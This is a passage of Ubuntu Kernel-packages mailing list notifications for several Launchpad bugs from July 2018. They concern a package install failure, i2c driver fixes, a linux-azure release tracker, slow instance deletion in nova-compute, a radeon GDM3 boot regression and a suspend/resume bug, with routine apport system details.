ID 80ee:0021 VirtualBox USB Tablet Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub MachineType: innotek GmbH VirtualBox Package: virtualbox-hwe
[Kernel-packages] [Bug 1782899] Re: package linux-headers-generic 4.15.0.29.31 failed to install/upgrade: problemas de dependencias - se deja sin configurar
** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782899 Title: package linux-headers-generic 4.15.0.29.31 failed to install/upgrade: problemas de dependencias - se deja sin configurar Status in linux package in Ubuntu: Confirmed Bug description: error to updated package: linux-headers-generic 4.15.0.29.31 ProblemType: Package DistroRelease: Ubuntu 18.04 Package: linux-headers-generic 4.15.0.29.31 ProcVersionSignature: Ubuntu 4.15.0-24.26-generic 4.15.18 Uname: Linux 4.15.0-24-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 Date: Sat Jul 21 07:55:18 2018 ErrorMessage: problemas de dependencias - se deja sin configurar HibernationDevice: RESUME=UUID=c7c7402c-dc17-4beb-82c2-c64e9085ad10 InstallationDate: Installed on 2017-10-24 (269 days ago) InstallationMedia: Ubuntu 16.04.3 LTS "Xenial Xerus" - Release amd64 (20170801) IwConfig: enp3s0no wireless extensions. lono wireless extensions. docker0 no wireless extensions. MachineType: Gigabyte Technology Co., Ltd. B85M-DS3H ProcFB: 0 VESA VGA ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-24-generic root=UUID=f515d285-287f-46eb-8aa9-a0eb819d6aed ro nomodeset quiet splash vt.handoff=1 PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No PulseAudio daemon running, or not running as session daemon. Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: grub-pc 2.02-2ubuntu8.1 RfKill: SourcePackage: linux Title: package linux-headers-generic 4.15.0.29.31 failed to install/upgrade: problemas de dependencias - se deja sin configurar UpgradeStatus: No upgrade log present (probably fresh install) dmi.bios.date: 08/25/2015 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F8 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: B85M-DS3H dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: To be filled by O.E.M. dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: Gigabyte Technology Co., Ltd. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF8:bd08/25/2015:svnGigabyteTechnologyCo.,Ltd.:pnB85M-DS3H:pvrTobefilledbyO.E.M.:rvnGigabyteTechnologyCo.,Ltd.:rnB85M-DS3H:rvrTobefilledbyO.E.M.:cvnGigabyteTechnologyCo.,Ltd.:ct3:cvrToBeFilledByO.E.M.: dmi.product.family: To be filled by O.E.M. dmi.product.name: B85M-DS3H dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1782899/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1781476] Re: [Bionic] bug fixes to improve stability of the ThunderX2 i2c driver
** Also affects: linux (Ubuntu Bionic) Importance: Undecided Status: New -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1781476 Title: [Bionic] bug fixes to improve stability of the ThunderX2 i2c driver Status in linux package in Ubuntu: Triaged Status in linux source package in Bionic: New Bug description: [Impact] With ThunderX2 i2c driver, ipmi transfers may get stuck or stack corruption might occur. [Test] Generate data with ipmitool: for i in {1..100}; do sudo ipmitool sensor list; done for i in {1..100}; do sudo ipmitool mc info; done [Fix] 88b4116e7e98 i2c: xlp9xx: Make sure the transfer size is not more than I2C_SMBUS_BLOCK_SIZE 8d504d804ab6 i2c: xlp9xx: Fix issue seen when updating receive length [Regression Potential] The driver is limited to ThunderX2 hardware, and bug fixes to this driver does not have any impact on other platforms. There for risk for regression is low. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1781476/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1783766] [NEW] linux-azure: 4.17.0-1001.1 -proposed tracker
Public bug reported: This bug is for tracking the 4.17.0-1001.1 upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-master-bug: 1783396 ** Affects: kernel-sru-workflow Importance: Medium Status: In Progress ** Affects: kernel-sru-workflow/automated-testing Importance: Medium Assignee: Canonical Kernel Team (canonical-kernel-team) Status: New ** Affects: kernel-sru-workflow/prepare-package Importance: Medium Assignee: Marcelo Cerri (mhcerri) Status: In Progress ** Affects: kernel-sru-workflow/prepare-package-meta Importance: Medium Assignee: Marcelo Cerri (mhcerri) Status: In Progress ** Affects: kernel-sru-workflow/prepare-package-signed Importance: Medium Assignee: Marcelo Cerri (mhcerri) Status: In Progress ** Affects: kernel-sru-workflow/promote-to-proposed Importance: Medium Assignee: Canonical Kernel Team (canonical-kernel-team) Status: New ** Affects: kernel-sru-workflow/promote-to-release Importance: Medium Assignee: Ubuntu Package Archive Administrators (ubuntu-archive) Status: New ** Affects: kernel-sru-workflow/regression-testing Importance: Medium Assignee: Canonical Kernel Team (canonical-kernel-team) Status: New ** Affects: kernel-sru-workflow/stakeholder-signoff Importance: Medium Assignee: Joshua R. Poulson (jrp) Status: New ** Affects: linux-azure (Ubuntu) Importance: Medium Status: Confirmed ** Affects: linux-azure (Ubuntu Cosmic) Importance: Medium Status: Confirmed ** Tags: cosmic kernel-release-tracking-bug kernel-release-tracking-bug-live kernel-sru-cycle-d2018.07.24-1 ** Tags added: kernel-release-tracking-bug ** Tags added: kernel-release-tracking-bug-live ** Also affects: linux-azure (Ubuntu Cosmic) Importance: Undecided Status: New ** Tags added: cosmic ** Changed in: linux-azure (Ubuntu Cosmic) Status: New => Confirmed ** Also affects: kernel-sru-workflow/automated-testing Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/prepare-package Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/prepare-package-meta Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/prepare-package-signed Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/promote-to-proposed Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/promote-to-release Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/regression-testing Importance: Undecided Status: New ** Also affects: kernel-sru-workflow/stakeholder-signoff Importance: Undecided Status: New ** Changed in: kernel-sru-workflow/automated-testing Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/automated-testing Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/prepare-package Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/prepare-package Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/prepare-package-meta Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/prepare-package-signed Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/prepare-package-signed Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/promote-to-proposed Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/promote-to-proposed Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/promote-to-release Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/promote-to-release Assignee: (unassigned) => Ubuntu Package Archive Administrators (ubuntu-archive) ** Changed in: kernel-sru-workflow/regression-testing Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/regression-testing Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team) ** Changed in: kernel-sru-workflow/stakeholder-signoff Importance: Undecided => Medium ** Changed in: kernel-sru-workflow/stakeholder-signoff Assignee: (unassigned) => Joshua R. Poulson (jrp) ** Changed in: linux-azure (Ubuntu) Importance: Undecided => Medium ** Changed in: kernel-sru-workflow Status: New => In Progress ** Changed in: kernel-sru-workflow Importance: Undecided => Medium ** Tags
[Kernel-packages] [Bug 1766543] Re: instance deletion takes a while and blocks nova-compute
By the way the task blocks on the following : ==> /proc/54255/task/54255/stack <== [] wakeup_preempt_entity.isra.6+0x7c/0x90 [] __switch_to+0x1f8/0x350 [] get_request+0x29c/0x910 [] blk_queue_bio+0x164/0x500 [] generic_make_request+0x154/0x310 [] submit_bio+0xd4/0x1f0 [] ext4_io_submit+0x7c/0xb0 [] ext4_writepages+0x4a8/0xdd0 [] do_writepages+0x60/0xc0 [] __filemap_fdatawrite_range+0xf8/0x170 [] jbd2_journal_begin_ordered_truncate+0xe8/0x130 [] ext4_evict_inode+0x530/0x5e0 [] evict+0xf8/0x2a0 [] do_unlinkat+0x1a8/0x3a0 [] system_call+0x38/0xe4 -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1766543 Title: instance deletion takes a while and blocks nova-compute Status in linux package in Ubuntu: Incomplete Status in nova package in Ubuntu: New Bug description: Hi, I have a cloud running xenial/mitaka (with 18.02 charms). Sometimes, an instance will take minutes to delete. I tracked down the time taken to be file deletion : Apr 23 07:23:00 hostname nova-compute[54255]: 2018-04-23 07:23:00.920 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deleting instance files /srv/nova/instances/97731f51-63be-4056-869f-084b38580b9a_del Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.767 54255 INFO nova.virt.libvirt.driver [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] [instance: 97731f51-63be-4056 -869f-084b38580b9a] Deletion of /srv/nova/instances/97731f51-63be-4056 -869f-084b38580b9a_del complete As you can see, 4 minutes and 33 seconds have elapsed between the 2 lines. nova-compute logs absolutely _nothing_ during this time. Periodic tasks are not run, etc... Generally, a deletion takes a few seconds top. The logs above are generally immediately followed by : Apr 23 07:27:33 hostname nova-compute[54255]: 2018-04-23 07:27:33.771 54255 DEBUG oslo.messaging._drivers.impl_rabbit [req- 35ccfe64-9280-4de6-ae88-045ca91bf90f bc0ab055427645aca4ed09266e85b1db 1cb457a8302543fea067e5f14b5241e7 - - -] Received recoverable error from kombu: on_error /usr/lib/python2.7/dist- packages/oslo_messaging/_drivers/impl_rabbit.py:683 (which is error: [Errno 104] Connection reset by peer) because nova-compute doesn't even maintain the rabbitmq connection (on the rabbitmq server I can see errors about "Missed heartbeats from client, timeout: 60s"). So nova-compute appears to be "frozen" during several minutes. This can cause problems because events can be missed, etc... We have telegraf on this host, and there's little to no CPU, disk, network or memory activity at that time. Nothing relevant in kern.log either. And this is happening on 3 different architectures, so this is all very puzzling. Is nova-compute supposed to be totally stuck while deleting instance files ? Have you ever seen something similar ? I'm going to try to repro on queens. Thanks To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1766543/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782347] ProcEnviron.txt
apport information ** Attachment added: "ProcEnviron.txt" https://bugs.launchpad.net/bugs/1782347/+attachment/5168073/+files/ProcEnviron.txt ** Attachment removed: "ProcEnviron.txt" https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1782347/+attachment/5168073/+files/ProcEnviron.txt ** Attachment removed: "ProcCpuinfoMinimal.txt" https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1782347/+attachment/5168072/+files/ProcCpuinfoMinimal.txt ** Attachment removed: "Dependencies.txt" https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1782347/+attachment/5168071/+files/Dependencies.txt ** Changed in: gdm3 (Ubuntu) Status: New => Incomplete -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782347 Title: [radeon] GDM3 fails to load without nomodeset Status in gdm3 package in Ubuntu: Incomplete Status in linux package in Ubuntu: Incomplete Bug description: Both with the livecd (usb drive) and the installed version, I must boot with the 'nomodeset' kernel parameter at GRUB; otherwise GDM3 will not boot (the screen will keep on flashing in semi-textual mode, with a white mouse arrow stuck). This, however, prevents me from using the 'radeon' video driver, dropping me to a very basic 1024x768 vesa mode. The bug did NOT occur on Ubuntu 12.04, so it is a regression. Also, the bug does NOT occur on XUbuntu/XFCE 18.04, so it is a GDM3-Gnome related thing. Thanks, MZ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME Date: Wed Jul 18 12:18:06 2018 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) mtime.conffile..etc.gdm3.custom.conf: 2018-07-18T12:14:53.871895 --- ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Tags: bionic Uname: Linux 4.15.0-20-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True mtime.conffile..etc.gdm3.custom.conf: 2018-07-19T11:39:06.027905 --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-07-12 (13 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-29-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1782347/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782347] Re: [radeon] GDM3 fails to load without nomodeset
Isn't it the same logs I provided with apport-collect before? Thanks, MZ -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782347 Title: [radeon] GDM3 fails to load without nomodeset Status in gdm3 package in Ubuntu: Incomplete Status in linux package in Ubuntu: Incomplete Bug description: Both with the livecd (usb drive) and the installed version, I must boot with the 'nomodeset' kernel parameter at GRUB; otherwise GDM3 will not boot (the screen will keep on flashing in semi-textual mode, with a white mouse arrow stuck). This, however, prevents me from using the 'radeon' video driver, dropping me to a very basic 1024x768 vesa mode. The bug did NOT occur on Ubuntu 12.04, so it is a regression. Also, the bug does NOT occur on XUbuntu/XFCE 18.04, so it is a GDM3-Gnome related thing. Thanks, MZ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME Date: Wed Jul 18 12:18:06 2018 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) mtime.conffile..etc.gdm3.custom.conf: 2018-07-18T12:14:53.871895 --- ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Tags: bionic Uname: Linux 4.15.0-20-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True mtime.conffile..etc.gdm3.custom.conf: 2018-07-19T11:39:06.027905 --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-07-12 (13 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-29-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1782347/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782347] ProcCpuinfoMinimal.txt
apport information ** Attachment added: "ProcCpuinfoMinimal.txt" https://bugs.launchpad.net/bugs/1782347/+attachment/5168072/+files/ProcCpuinfoMinimal.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782347 Title: [radeon] GDM3 fails to load without nomodeset Status in gdm3 package in Ubuntu: Incomplete Status in linux package in Ubuntu: Incomplete Bug description: Both with the livecd (usb drive) and the installed version, I must boot with the 'nomodeset' kernel parameter at GRUB; otherwise GDM3 will not boot (the screen will keep on flashing in semi-textual mode, with a white mouse arrow stuck). This, however, prevents me from using the 'radeon' video driver, dropping me to a very basic 1024x768 vesa mode. The bug did NOT occur on Ubuntu 12.04, so it is a regression. Also, the bug does NOT occur on XUbuntu/XFCE 18.04, so it is a GDM3-Gnome related thing. Thanks, MZ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME Date: Wed Jul 18 12:18:06 2018 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) mtime.conffile..etc.gdm3.custom.conf: 2018-07-18T12:14:53.871895 --- ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Tags: bionic Uname: Linux 4.15.0-20-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True mtime.conffile..etc.gdm3.custom.conf: 2018-07-19T11:39:06.027905 --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-07-12 (13 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-29-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1782347/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1782347] Re: [radeon] GDM3 fails to load without nomodeset
apport information ** Description changed: Both with the livecd (usb drive) and the installed version, I must boot with the 'nomodeset' kernel parameter at GRUB; otherwise GDM3 will not boot (the screen will keep on flashing in semi-textual mode, with a white mouse arrow stuck). This, however, prevents me from using the 'radeon' video driver, dropping me to a very basic 1024x768 vesa mode. The bug did NOT occur on Ubuntu 12.04, so it is a regression. Also, the bug does NOT occur on XUbuntu/XFCE 18.04, so it is a GDM3-Gnome related thing. Thanks, MZ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME Date: Wed Jul 18 12:18:06 2018 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) mtime.conffile..etc.gdm3.custom.conf: 2018-07-18T12:14:53.871895 --- ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Tags: bionic Uname: Linux 4.15.0-20-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True mtime.conffile..etc.gdm3.custom.conf: 2018-07-19T11:39:06.027905 + --- + ProblemType: Bug + ApportVersion: 2.20.9-0ubuntu7.2 + Architecture: amd64 + CurrentDesktop: ubuntu:GNOME + DistroRelease: Ubuntu 18.04 + InstallationDate: Installed on 2018-07-12 (13 days ago) + InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) + Package: linux + PackageArchitecture: amd64 + ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 + Tags: bionic + Uname: Linux 4.15.0-29-generic x86_64 + UpgradeStatus: No upgrade log present (probably fresh install) + UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo + _MarkForUpload: True ** Attachment added: "Dependencies.txt" https://bugs.launchpad.net/bugs/1782347/+attachment/5168071/+files/Dependencies.txt -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782347 Title: [radeon] GDM3 fails to load without nomodeset Status in gdm3 package in Ubuntu: Incomplete Status in linux package in Ubuntu: Incomplete Bug description: Both with the livecd (usb drive) and the installed version, I must boot with the 'nomodeset' kernel parameter at GRUB; otherwise GDM3 will not boot (the screen will keep on flashing in semi-textual mode, with a white mouse arrow stuck). This, however, prevents me from using the 'radeon' video driver, dropping me to a very basic 1024x768 vesa mode. The bug did NOT occur on Ubuntu 12.04, so it is a regression. Also, the bug does NOT occur on XUbuntu/XFCE 18.04, so it is a GDM3-Gnome related thing. Thanks, MZ ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: gdm3 3.28.0-0ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Uname: Linux 4.15.0-20-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME Date: Wed Jul 18 12:18:06 2018 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash SourcePackage: gdm3 UpgradeStatus: No upgrade log present (probably fresh install) mtime.conffile..etc.gdm3.custom.conf: 2018-07-18T12:14:53.871895 --- ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 CasperVersion: 1.394 CurrentDesktop: ubuntu:GNOME DistroRelease: Ubuntu 18.04 LiveMediaBuild: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: linux PackageArchitecture: amd64 ProcEnviron: TERM=xterm-256color PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17 Tags: bionic Uname: Linux 4.15.0-20-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo _MarkForUpload: True mtime.conffile..etc.gdm3.custom.conf: 2018-07-19T11:39:06.027905 --- ProblemType: Bug
[Kernel-packages] [Bug 1782813] Re: System resume instantly from sleep
I don't know exactly when it started since this is not my own computer, it's my wife's and she does not use it really often. I installed the upstream kernel : # uname -a Linux marine-i5-2500k 4.18.0-041800rc6-generic #201807221830 SMP Sun Jul 22 22:33:11 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux It is now working as expected. ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed ** Summary changed: - System resume instantly from sleep + System resume instantly from sleep - kernel-fixed-upstream -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1782813 Title: System resume instantly from sleep - kernel-fixed-upstream Status in linux package in Ubuntu: Confirmed Bug description: The computer goes into suspend mode, and then automatically resume. This happen when sleep is intiated automatically due to inactivity, as well as manually. The suspend mode has already worked well on this machine, so I am confident this is not hardware related. ProblemType: Bug DistroRelease: Ubuntu 16.04 Package: linux-image-4.4.0-131-generic 4.4.0-131.157 ProcVersionSignature: Ubuntu 4.4.0-131.157-generic 4.4.134 Uname: Linux 4.4.0-131-generic x86_64 ApportVersion: 2.20.1-0ubuntu2.18 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: marine 2988 F pulseaudio CurrentDesktop: Unity Date: Fri Jul 20 19:31:54 2018 HibernationDevice: RESUME=UUID=273fc082-eb27-436c-beb0-0d730da9167d InstallationDate: Installed on 2011-10-18 (2466 days ago) InstallationMedia: Ubuntu 11.10 "Oneiric Ocelot" - Release amd64 (20111012) IwConfig: lono wireless extensions. eth0 no wireless extensions. MachineType: Gigabyte Technology Co., Ltd. To be filled by O.E.M. ProcFB: 0 inteldrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-131-generic root=UUID=b7e421af-7df0-42bb-8a12-eadc92e04f53 ro quiet splash vt.handoff=7 RelatedPackageVersions: linux-restricted-modules-4.4.0-131-generic N/A linux-backports-modules-4.4.0-131-generic N/A linux-firmware 1.157.20 RfKill: SourcePackage: linux UpgradeStatus: Upgraded to xenial on 2016-10-02 (655 days ago) dmi.bios.date: 09/19/2012 dmi.bios.vendor: American Megatrends Inc. dmi.bios.version: F13 dmi.board.asset.tag: To be filled by O.E.M. dmi.board.name: Z77M-D3H dmi.board.vendor: Gigabyte Technology Co., Ltd. dmi.board.version: x.x 